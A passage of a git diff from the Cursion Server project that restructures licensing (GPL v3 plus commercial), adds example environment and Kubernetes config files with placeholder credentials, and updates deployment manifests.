 setup/scripts/local.sh                        |   4 +-
 18 files changed, 497 insertions(+), 389 deletions(-)
 create mode 100644 LICENSE
 rename {docker => archive}/docker-compose.prod.yml (100%)
 rename docker-compose.remote.yml => docker/docker-compose.remote.yml (100%)
 create mode 100644 env/.env.local.example
 create mode 100644 k8s/local/app-configs-example.yaml
 create mode 100644 k8s/local/beat-deployment.yaml
 rename LICENSE.md => legal/COMMERCIAL.md (99%)
 create mode 100644 legal/OSS.md
 delete mode 100644 notes/Deployment.md
 create mode 100644 notes/Docker.md

diff --git a/.gitignore b/.gitignore
index 2fddb707..26dd46eb 100644
--- a/.gitignore
+++ b/.gitignore
@@ -17,18 +17,18 @@ env/.env.prod.db
 env/.env.client.dev
 env/.env.client.prod
 
-
 app/data*
 app/static*
 app/api/migrations/*_*.py
-
-k8s/*/*-configs.yaml
-k8s/prod/old_configs/*
-
 app/chromedriver*
-
 app/.cache*
 app/.config*
 app/.local*
 app/.pki*
-env/.env.client.dev
+
+k8s/*/*-configs.yaml
+k8s/prod/old_configs/*
+
+notes/private*
+
+
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 00000000..f34f15af
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,8 @@
+Copyright (C) 2025 Grey Labs, LLC
+
+
+> This software **(Cursion Server)**, is offered with a dual-license depending on your use case.
+
+1. **[Open Source GPL v3](legal/OSS.md)**: Developers and individuals who wish to use this license must adhear to all requirments in the GPL v3 license listed in `legal/OSS.md`. If those requirements are unsatisfactory for your use case, please consider a commercial license. 
+
+2. **[Commercial](legal/COMMERCIAL.md)**: Entities who wish to utilise Cursion in a commercial setting and who require additional support can purchase a commercial license via the self-serve [billing](https://app.cursion.dev/billing) or by speaking to our [sales team](https://cursion.dev/booking)
\ No newline at end of file
diff --git a/README.md b/README.md
index 4f1d39bf..6e6213e7 100644
--- a/README.md
+++ b/README.md
@@ -14,11 +14,11 @@
 
 <p align="center">
     <a href="LICENSE" target="_blank">
-        <img src='https://img.shields.io/badge/license-GNU-green?style=for-the-badge' />
-    </a>&nbsp;
-    <img src='https://img.shields.io/github/commit-activity/m/cursion-dev/server/main?style=for-the-badge' />&nbsp;
+      <img src='https://img.shields.io/badge/license-GNU-green?style=for-the-badge'/>
+    </a>
+    <img src='https://img.shields.io/github/commit-activity/m/cursion-dev/server/main?style=for-the-badge'/>
     <a href='https://github.com/cursion-dev/server/actions'>
-        <img alt="GitHub Actions Workflow Status" src="https://img.shields.io/github/actions/workflow/status/cursion-dev/server/k8s-deploy.yaml?style=for-the-badge&label=BUILD STATUS">
+      <img alt="GitHub Actions Workflow Status" src="https://img.shields.io/github/actions/workflow/status/cursion-dev/server/k8s-deploy.yaml?style=for-the-badge&label=BUILD STATUS">
     </a>
 </p>
 
diff --git a/docker/docker-compose.prod.yml b/archive/docker-compose.prod.yml
similarity index 100%
rename from docker/docker-compose.prod.yml
rename to archive/docker-compose.prod.yml
diff --git a/docker-compose.remote.yml b/docker/docker-compose.remote.yml
similarity index 100%
rename from docker-compose.remote.yml
rename to docker/docker-compose.remote.yml
diff --git a/env/.env.local.example b/env/.env.local.example
new file mode 100644
index 00000000..87b3c954
--- /dev/null
+++ b/env/.env.local.example
@@ -0,0 +1,105 @@
+# high level django configs
+SECRET_KEY=abcdefghijklmno123456789
+DJANGO_ALLOWED_HOSTS=*
+DEBUG=False
+LOCATION=us
+MODE=local
+LANDING_URL_ROOT=https://cursion.dev
+CLIENT_URL_ROOT=https://app.example.com       # example
+API_URL_ROOT=https://api.example.com          # example
+YELLOWLAB_ROOT=http://yellowlab:8383          # example
+LIGHTHOUSE_ROOT=https://www.googleapis.com/pagespeedonline/v5/runPagespeed
+
+
+# admin credentials  
+ADMIN_USER=admin
+ADMIN_PASS=dontTryIt1234       # example
+ADMIN_EMAIL=hello@example.com  # example
+
+
+# email credentials
+EMAIL_HOST=smtp.gmail.com
+EMAIL_PORT=587
+EMAIL_USE_TLS=True
+EMAIL_HOST_USER=hello@example.com   # example
+EMAIL_HOST_PASSWORD=1234456677888   # example
+
+
+# database
+DB_HOST=db
+DB_NAME=app
+DB_USER=postgres
+DB_PASS=supersecretpassword           # example
+POSTGRES_DB=app
+POSTGRES_USER=postgres
+POSTGRES_PASSWORD=supersecretpassword # example
+
+
+# paths
+CHROMEDRIVER=/usr/bin/chromedriver
+CHROME_BROWSER=/usr/bin/chromium
+FIREFOX_BROWSER=/usr/bin/firefox
+EDGE_BROWSER=/usr/bin/microsoft-edge-stable
+
+
+# stripe keys
+STRIPE_PUBLIC_TEST=
+STRIPE_PRIVATE_TEST=
+STRIPE_PUBLIC_LIVE=
+STRIPE_PRIVATE_LIVE=
+STRIPE_ENV=dev
+
+
+# google keys
+GOOGLE_CRUX_KEY=
+
+
+# OAuth keys
+GOOGLE_OAUTH2_CLIENT_ID=
+GOOGLE_OAUTH2_CLIENT_SECRET=
+
+
+# twilio credentials
+TWILIO_SID=
+TWILIO_AUTH_TOKEN=
+TWILIO_NUMBER=+13333333333
+
+
+# sendgrid configs
+SENDGRID_API_KEY=
+DEFAULT_TEMPLATE=
+DEFAULT_TEMPLATE_NO_BUTTON=
+AUTOMATION_TEMPLATE=
+
+
+# slack credentials
+SLACK_APP_ID=
+SLACK_CLIENT_ID=
+SLACK_CLIENT_SECRET=
+SLACK_SIGNING_SECRET=
+SLACK_VERIFICATION_TOKEN=
+SLACK_BOT_TOKEN=
+
+
+# s3 remote storage credentials
+AWS_ACCESS_KEY_ID=
+AWS_SECRET_ACCESS_KEY=
+AWS_STORAGE_BUCKET_NAME=storage-scanerr   # example
+AWS_S3_REGION_NAME=sfo3                   # example
+AWS_S3_ENDPOINT_URL=https://sfo3.digitaloceanspaces.com               # example
+AWS_S3_URL_PATH=https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
+AWS_LOCATION=static
+AWS_DEFAULT_ACL=public-read
+
+
+# OpenAI API key
+GPT_API_KEY=sk-123450989776124ni989wed23e9dub # example
+
+
+# Self Hosted Cred
+LICENSE_KEY=ask-for-this-cred-before-deploying
+
+
+# Encryption Key (32 bytes)
+SECRETS_KEY=generate-this-yourself-before-deployment
+
diff --git a/k8s/local/app-configs-example.yaml b/k8s/local/app-configs-example.yaml
new file mode 100644
index 00000000..b856613b
--- /dev/null
+++ b/k8s/local/app-configs-example.yaml
@@ -0,0 +1,79 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: app-configs
+data:
+  # django
+  SECRET_KEY : "ask-for-this-or-generate-yourself"
+  CLIENT_URL_ROOT : "https://app.yourdomain.com"
+  API_URL_ROOT : "https://api.yourdomain.com"  
+  YELLOWLAB_ROOT : "http://ylt-service"
+  LIGHTHOUSE_ROOT : "https://www.googleapis.com/pagespeedonline/v5/runPagespeed"
+  LANDING_API_KEY : ""
+  LANDING_URL_ROOT : "https://yourdomain.com"
+  LETSENCRYPT_HOST : "api.yourdomain.com"         
+  VIRTUAL_HOST : "api.yourdomain.com"            
+  VIRTUAL_PORT : "8000"
+  DJANGO_ALLOWED_HOSTS : "*"
+  MODE: "local"
+  DEBUG : "True"
+  LOCATION : "us"
+  # admin credentials  
+  ADMIN_USER : "admin_user"              
+  ADMIN_PASS : "f4k3P455w0rd"     
+  ADMIN_EMAIL : "your@email.com" 
+  # email credentials
+  EMAIL_HOST : "smtp.gmail.com"
+  EMAIL_PORT : "587"
+  EMAIL_USE_TLS : "True"
+  EMAIL_HOST_USER : "your@email.com"
+  EMAIL_HOST_PASSWORD : "your-email-password"
+  # database
+  DB_HOST : "<your-remote-db-host>"
+  DB_NAME : "k8s-pool"
+  DB_PASS : "<your-remote-db-password>"
+  DB_PORT : "25061"
+  DB_USER : "<your-remote-db-user>"
+  # paths
+  CHROMEDRIVER : "/usr/bin/chromedriver"
+  CHROME_BROWSER : "/usr/bin/chromium"
+  # stripe keys
+  STRIPE_PUBLIC_TEST : "pk_test_<your-key>" 
+  STRIPE_PRIVATE_TEST : "sk_test_<your-key>" 
+  STRIPE_PUBLIC_LIVE : "pk_live_<your-key>" 
+  STRIPE_PRIVATE_LIVE : "sk_live_<your-key>"
+  STRIPE_ENV : "dev"
+  # google keys
+  GOOGLE_CRUX_KEY : "<your-own-key>"
+  # OAuth keys
+  GOOGLE_OAUTH2_CLIENT_ID : "<your-own-key>" 
+  GOOGLE_OAUTH2_CLIENT_SECRET : "<your-own-key>" 
+  # twilio credentials
+  TWILIO_SID : "<your-own-key>" 
+  TWILIO_AUTH_TOKEN : "<your-own-key>" 
+  TWILIO_NUMBER : "+<your-own-number>"
+  # sendgrid configs
+  SENDGRID_API_KEY : "<your-own-key>" 
+  DEFAULT_TEMPLATE : "<your-own-key>" 
+  DEFAULT_TEMPLATE_NO_BUTTON : "<your-own-key>" 
+  AUTOMATION_TEMPLATE : "<your-own-key>" 
+  # slack credentials
+  SLACK_APP_ID : "<your-own-key>" 
+  SLACK_CLIENT_ID : "<your-own-key>" 
+  SLACK_CLIENT_SECRET : "<your-own-key>" 
+  SLACK_SIGNING_SECRET : "<your-own-key>" 
+  SLACK_VERIFICATION_TOKEN : "<your-own-key>" 
+  SLACK_BOT_TOKEN : "<your-own-key>" 
+  # s3 remote storage credentials
+  AWS_ACCESS_KEY_ID : "<your-own-key>" 
+  AWS_SECRET_ACCESS_KEY : "<your-own-key>"
+  AWS_STORAGE_BUCKET_NAME : "<your-own-bucket-name>"   
+  AWS_S3_REGION_NAME : "sfo3"                   
+  AWS_S3_ENDPOINT_URL : "https://sfo3.digitaloceanspaces.com"            
+  AWS_S3_URL_PATH : "https://<your-own-bucket-name>.sfo3.digitaloceanspaces.com"
+  AWS_LOCATION : "static"
+  AWS_DEFAULT_ACL : "public-read"
+  # secrets key (32 bytes)
+  SECRETS_KEY : "<generate-this-yourself>"
+  # OpenAI API key
+  GPT_API_KEY : "<your-own-key>"
diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml
index 1b2dd72c..cad462a9 100644
--- a/k8s/local/app-deployment.yaml
+++ b/k8s/local/app-deployment.yaml
@@ -12,26 +12,13 @@ spec:
       labels:
         app: app
     spec:
-      imagePullSecrets:
-        - name: regcred
       containers:
         - name: app
-          image: cursion/server:latest
+          image: cursiondev/server:latest
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
-          command:
-            - "sh"
-            - "-c"
-            - >
-              python3 manage.py wait_for_db &&
-              python3 manage.py makemigrations --no-input &&
-              python3 manage.py migrate --no-input &&
-              python3 manage.py collectstatic --no-input &&
-              python3 manage.py create_admin &&
-              python3 manage.py driver_test &&
-              python3 manage.py driver_p_test &&
-              python3 manage.py runserver 0.0.0.0:8000
+          command: ["/entrypoint.sh", "server", "remote"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/local/beat-deployment.yaml b/k8s/local/beat-deployment.yaml
new file mode 100644
index 00000000..b3289bea
--- /dev/null
+++ b/k8s/local/beat-deployment.yaml
@@ -0,0 +1,30 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: beat-deployment
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: beat
+  template:
+    metadata:
+      labels:
+        app: beat
+    spec:
+      containers:
+        - name: beat
+          image: cursiondev/server:latest
+          imagePullPolicy: IfNotPresent
+          command: ["/entrypoint.sh", "beat"]
+          envFrom:
+            - configMapRef:
+                name: app-configs
+          resources:
+            limits:
+              cpu: "1"
+              memory: "1Gi"
+            requests:
+              cpu: "500m"
+              memory: "500Mi"
+
diff --git a/k8s/local/celery-deployment.yaml b/k8s/local/celery-deployment.yaml
index 060a2a89..fb38aa1e 100644
--- a/k8s/local/celery-deployment.yaml
+++ b/k8s/local/celery-deployment.yaml
@@ -12,20 +12,18 @@ spec:
       labels:
         app: celery
     spec:
-      imagePullSecrets:
-        - name: regcred
       containers:
         - name: celery
-          image: cursion/server:latest
+          image: cursiondev/server:latest
           imagePullPolicy: IfNotPresent
-          command: ["celery", "-A", "cursion", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
+          command: ["/entrypoint.sh", "celery"]
           envFrom:
             - configMapRef:
                 name: app-configs
           resources:
             limits:
               cpu: "1"
-              memory: "1Gi"
+              memory: "2Gi"
             requests:
               cpu: "500m"
               memory: "500Mi"
diff --git a/k8s/local/db-deployment.yaml b/k8s/local/db-deployment.yaml
index beee6ddd..f5c82eae 100644
--- a/k8s/local/db-deployment.yaml
+++ b/k8s/local/db-deployment.yaml
@@ -14,12 +14,12 @@ spec:
     spec:
       containers:
         - name: db
-          image: postgres:10-alpine
+          image: postgres:14-alpine
           ports:
             - containerPort: 5432
           envFrom:
             - configMapRef:
-                name: db-configs
+                name: app-configs
           volumeMounts:
             - name: pgdata-volume
               mountPath: /var/lib/postgresql/data
diff --git a/k8s/prod/app-configs-example.yaml b/k8s/prod/app-configs-example.yaml
index 1291d535..b856613b 100644
--- a/k8s/prod/app-configs-example.yaml
+++ b/k8s/prod/app-configs-example.yaml
@@ -15,6 +15,9 @@ data:
   VIRTUAL_HOST : "api.yourdomain.com"            
   VIRTUAL_PORT : "8000"
   DJANGO_ALLOWED_HOSTS : "*"
+  MODE: "local"
+  DEBUG : "True"
+  LOCATION : "us"
   # admin credentials  
   ADMIN_USER : "admin_user"              
   ADMIN_PASS : "f4k3P455w0rd"     
@@ -39,7 +42,7 @@ data:
   STRIPE_PRIVATE_TEST : "sk_test_<your-key>" 
   STRIPE_PUBLIC_LIVE : "pk_live_<your-key>" 
   STRIPE_PRIVATE_LIVE : "sk_live_<your-key>"
-  STRIPE_ENV : "prod"
+  STRIPE_ENV : "dev"
   # google keys
   GOOGLE_CRUX_KEY : "<your-own-key>"
   # OAuth keys
@@ -70,3 +73,7 @@ data:
   AWS_S3_URL_PATH : "https://<your-own-bucket-name>.sfo3.digitaloceanspaces.com"
   AWS_LOCATION : "static"
   AWS_DEFAULT_ACL : "public-read"
+  # secrets key (32 bytes)
+  SECRETS_KEY : "<generate-this-yourself>"
+  # OpenAI API key
+  GPT_API_KEY : "<your-own-key>"
diff --git a/LICENSE.md b/legal/COMMERCIAL.md
similarity index 99%
rename from LICENSE.md
rename to legal/COMMERCIAL.md
index 4975f547..d6d13c34 100644
--- a/LICENSE.md
+++ b/legal/COMMERCIAL.md
@@ -1,4 +1,4 @@
-Copyright (c) 2024 Cursion
+Copyright (C) 2025 Cursion
 
 
 Cursion Commercial Software License Terms
diff --git a/legal/OSS.md b/legal/OSS.md
new file mode 100644
index 00000000..bf4cd625
--- /dev/null
+++ b/legal/OSS.md
@@ -0,0 +1,171 @@
+GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007
+
+Copyright (C) 2007 Free Software Foundation, Inc.
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works.
+
+The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.
+
+To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.
+
+For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.
+
+Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.
+
+Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS 0. Definitions. “This License” refers to version 3 of the GNU General Public License.
+
+“Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.
+
+“The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations.
+
+To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work.
+
+A “covered work” means either the unmodified Program or a work based on the Program.
+
+To “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.
+
+To “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.
+
+1. Source Code. The “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work.
+
+A “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.
+
+The “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.
+
+The “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.
+
+The Corresponding Source for a work in source code form is that same work.
+
+2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.
+
+You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.
+
+Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.
+
+4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.
+
+5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:
+
+a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”. c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.
+
+6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:
+
+a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.
+
+A “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.
+
+“Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).
+
+The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.
+
+7. Additional Terms. “Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.
+
+Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:
+
+a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.
+
+8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.
+
+9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.
+
+10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.
+
+An “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.
+
+11. Patents. A “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”.
+
+A contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.
+
+In the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.
+
